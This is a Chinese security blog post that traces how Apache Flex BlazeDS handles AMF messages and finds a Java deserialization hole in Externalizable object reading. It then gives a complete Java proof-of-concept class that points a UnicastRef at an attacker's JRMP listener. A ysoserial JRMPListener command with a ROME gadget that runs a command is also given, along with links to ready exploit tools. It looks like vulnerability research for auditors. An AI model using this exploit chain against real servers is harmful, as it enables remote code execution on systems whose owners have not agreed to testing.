点击上方·关注我们吧
发现有个地方截图错了,重新发一下-。-
首先查看常规项目中,amf的配置入口,MessageBrokerServlet类处理/messagebroker/*
请求
接下来跟下去查看流程,在MessageBrokerServlet
的service
方法中,先将HttpServletRequest
等对象存到FlexContext
的变量ThreadLocalObjects
中
随后根据endpointPath
去获取对应的endpoint
而web.xml
已经指定过配置文件
在配置文件中可以看到是由AMFEndpoint
来处理/messagebroker/amf
这个请求(endpointPath
),即endpointPath
的endpoint
就是AMFEndpoint
类
回到MessageBrokerServlet.class
在得到处理请求的类后就使用该类的service
方法处理请求
在前面的代码中可以看到endpoint
的对象类型是Endpoint
,而Endpoint
是一个接口,所以要找到该接口的实现类
所以实际就是BaseHTTPEndpoint
的service
方法来处理/amf
请求
在service
方法中,会交由filterChain.invoke
处理上下文内容
filterChain
:
createFilterChain
是一个抽象方法
需要找到实现他的子类,即AMFEndpoint
跟进SerializationFilter
类查看invoke
方法
其会获取输入流封装到deserializer
对象
具体可以看到getHttpRequest
方法返回的内容就是之前存在threadLocalObject
里的信息
initialize
方法:
随后进入到readMessage
处理上下文内容
在readMessage
方法中,会执行三次readUnsignedShort
方法分别获取version
、headersCount
和bodyCount
漏洞触发主要在bodyCount
走到readBody
进入到readObject
方法
因为之前初始化的时候赋值过,所以这的amfIn
就是Amf0Input
对象,即这里的readObject
其实是Amf0Input
的readObject
跟进Amf0Input
查看readObject
方法,该方法会先读取传入的数据字节,然后根据不同的属性进入对应的方法进行处理
查看readObjectValue
已知type
是amfIn.readUnsignedShort
获取得来,type
是2
字节,这里会首先读取1
字节,当读取的值是17
时(序列化时写入)就会再初始化一次avmPlusInput
,并进入到readObject
方法
在readObject
方法中,再读取1
字节
跟进readObjectValue
方法,当读到的值是10
时(序列化时写入)就会进入到readScriptObject
方法
在readScriptObject
方法中,会根据传入的类名返回一个对象
跟进getClassFromClassName
查看具体实现
createClass
方法会返回一个初始化的对象
然后会将对象传进getProxyAndRegister
方法查找对应的属性代理,用于处理对象的属性读写,如果注册表中存在,则传进createDefaultInstance
方法实例化对象
然而注册表里只有几个异常和Map对象
具体可以看getRegistry
方法:
private static boolean preregistered = false;
...
public static PropertyProxyRegistry getRegistry() {
if (!preregistered) {
preRegister();
preregistered = true;
}
return registry;
}
private static void preRegister() {
ThrowableProxy proxy = new ThrowableProxy();
registry.register(MessageException.class, proxy);
registry.register(LocalizedException.class, proxy);
registry.register(Throwable.class, proxy);
MapProxy mapProxy = new MapProxy();
registry.register(ASObject.class, mapProxy);
registry.register(HashMap.class, mapProxy);
registry.register(AbstractMap.class, mapProxy);
registry.register(Map.class, mapProxy);
}
所以流程会将对象传入createDefaultInstance
方法进行实例化
查看createDefaultInstance
可以看到返回了一个实例化对象
在获得一个实例化对象后,会判断该对象是否实现了Externalizable
接口,如果实现了则进入readExternalizable
方法,在该方法里使用readExternal
方法进行反序列化,漏洞在此触发
按照流程,想要利用这一步的反序列化,需要找一个实现了Externalizable
接口且有公共无参构造函数的利用链,比如sun.rmi.server.UnicastRef
改一下ysoserial
的JRMPClient
即可得到一个POC:
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
/**
* @Author:novy
* @Date:13:44 2022/5/30
* @Version 1.0
**/
public class AMFEXPLoit {
public static void main(String[] args) throws Exception {
Object object = GetObject("192.168.31.169",1234);//JRMP启动地址、端口
// 序列化对象,生成AMF Message对象
byte[] amf = serialize(object);
System.out.println("序列化:" + amf);
// 反序列化对象
ActionMessage actionMessage = deserialize(amf);
System.out.println("反序列化:" + actionMessage);
}
public static Object GetObject(String host,int port) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
ActionMessage actionMessage = new ActionMessage();
deserializer.readMessage(actionMessage, new ActionContext());
return actionMessage;
}
}
服务器启动JRMP,运行POC
java -cp ysoserial-1.0.jar ysoserial.exploit.JRMPListener 1234 ROME "calc"
当然这只是基于实现了Externalizable
接口的反序列化利用,在判断即使没有实现Externalizable
,流程依旧会往下走其他反序列化逻辑,也就是说,哪怕没有实现Externalizable
接口,也可以找实现了Serializable
接口的链来进行利用,当然还是需要有公共无参构造方法
写了个利用工具
https://github.com/novysodope/AMF_JRMP
不出网参考
https://github.com/codewhitesec/ColdFusionPwn
ColdFusionPwn直接下载他的发布版本使用会提示找不到主类,建议下载源码用idea运行,参数直接[-s|-e] [payload type] '[command]' [outfile]
在往后的审计中,如果看到有引用
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.2</version>
</dependency>
或者jar包中用到这种的
基本可以确定存在flex相关漏洞